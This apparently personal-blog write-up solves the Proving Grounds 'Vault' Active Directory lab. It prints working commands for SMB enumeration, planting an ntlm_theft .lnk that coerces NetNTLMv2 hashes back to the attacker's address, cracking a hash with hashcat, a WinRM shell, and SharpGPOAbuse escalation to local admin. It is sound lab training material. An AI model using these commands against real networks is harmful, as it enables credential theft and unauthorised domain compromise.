britton@janet

Proving Grounds: Vault Write-up

Vault is an Active Directory box that rewards being nosy about SMB. A writable share lets us plant a malicious link file and coerce a user’s machine into authenticating back to us, which hands over a crackable hash. From there it’s a WinRM shell, a quick trip through BloodHound, and a GPO abuse that makes our lowly user a local admin. Let’s dig in.

Enumeration

sudo nmap -sCV -p- -Pn -T4 -oN nmap 192.168.183.172 --open

The port list is the unmistakable shape of a Domain Controller:

53    DNS
135   RPC
389   LDAP
445   SMB
593   ncacn_http
3389  RDP
5985  WinRM

LDAP hands us the domain: vault.offsec.

SMB — the front door was unlocked

Script-based SMB enumeration was a nothing-burger:

sudo nmap -p 139,445 --script smb-enum* 192.168.183.172

But a plain null-session share listing was not:

smbclient -N -L \\\\192.168.183.172\\

There’s a DocumentsShare. Logging in with a null session works, and while the share is empty, the real question is always: can I write to it?

smbclient -N \\\\192.168.183.172\\DocumentsShare
echo 'test file for a test' > test.txt

The upload succeeds — the share is world-writable. That’s the whole ballgame, because a writable share on a Windows box is a perfect place to drop a file that phones home the moment anyone (or any automated process) so much as looks at the folder.

Coercing a hash with ntlm_theft

I used ntlm_theft to generate a malicious .lnk file. A shortcut with its icon pointed at a UNC path on my machine will make Windows try to authenticate to me over SMB when the folder is browsed — leaking a NetNTLMv2 hash. (You can use .url files too; it’s mostly preference.)

python3 ntlm_theft.py -g lnk -s 192.168.45.162 -f malicious

Start Responder to catch the callback…

sudo responder -I tun0

…then drop the payload in the share and wait:

smb:\> put malicious.lnk

And bang — a NetNTLMv2 hash for anirudh comes flying back.

Cracking the hash

Confirm the mode, because guessing hashcat modes is a rite of passage nobody enjoys:

hashcat --identify anirudh.hash

Then let it rip (I <3 hashcat):

sudo hashcat -m 5600 anirudh.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best66.rule

anirudh:SecureHM

Foothold over WinRM

Spray the creds across the box’s services to see where they land:

NetSpray all 192.168.183.172 -u 'anirudh' -p 'SecureHM'

WinRM is green, so in we go:

evil-winrm -i 192.168.183.172 -u 'anirudh' -p 'SecureHM'

anirudh has been thoroughly pwned.

Privilege Escalation

Poking around anirudh’s home directory turns up something that doesn’t belong next to the default folders:

A KillExplorer.ps1. Viewer eats first — I wanted to know what it was before touching it. Googling only surfaced other writeups and I wasn’t about to spoil myself, so I checked its permissions with icacls:

anirudh has full control of the file… but that’s actually the dead end. There’s no scheduled task or privileged process triggering it, and full control over my own file transfers exactly zero privilege to anyone. Cute rabbit hole. Since this is an AD box, the smarter move is to stop staring at one file and ask BloodHound what anirudh can really do domain-wide.

python3 bloodhound.py -d vault.offsec -u anirudh -p SecureHM -c all -ns 192.168.183.172

Marking anirudh as owned and following the outbound edges lights up the actual path:

anirudh holds WriteDacl, GenericWrite, and WriteOwner over the Default Domain Policy GPO. Any one of those is enough to modify the GPO; having all three is just the box being generous. A GPO applies to machines across the domain, so if I can edit it, I can push a setting that makes anirudh a local administrator.

That’s exactly what SharpGPOAbuse automates. Upload the precompiled binary and tell it to add anirudh as a local admin via the policy:

SharpGPOAbuse.exe --AddLocalAdmin --UserAccount 'vault.offsec\anirudh' --GPOName "Default Domain Policy" --force
gpupdate /force

Force a policy refresh, log out, log back in so the new group membership takes effect, and:

whoami /groups
...
BUILTIN\Administrators

anirudh is now a local admin — the flag on the Administrator’s desktop is ours.

Takeaways

  • A writable share is a hash factory. Null-session write access + ntlm_theft + Responder is a reliable way to turn “empty folder” into “someone else’s credentials.”
  • Don’t marry the first shiny file. KillExplorer.ps1 looked like the path and wasn’t. On AD boxes, let BloodHound arbitrate what actually grants privilege before you burn an hour.
  • GPO control = domain leverage. WriteDacl/GenericWrite/WriteOwner on a GPO isn’t a footnote — it’s a one-command jump to local admin (and often much further).

← all writeups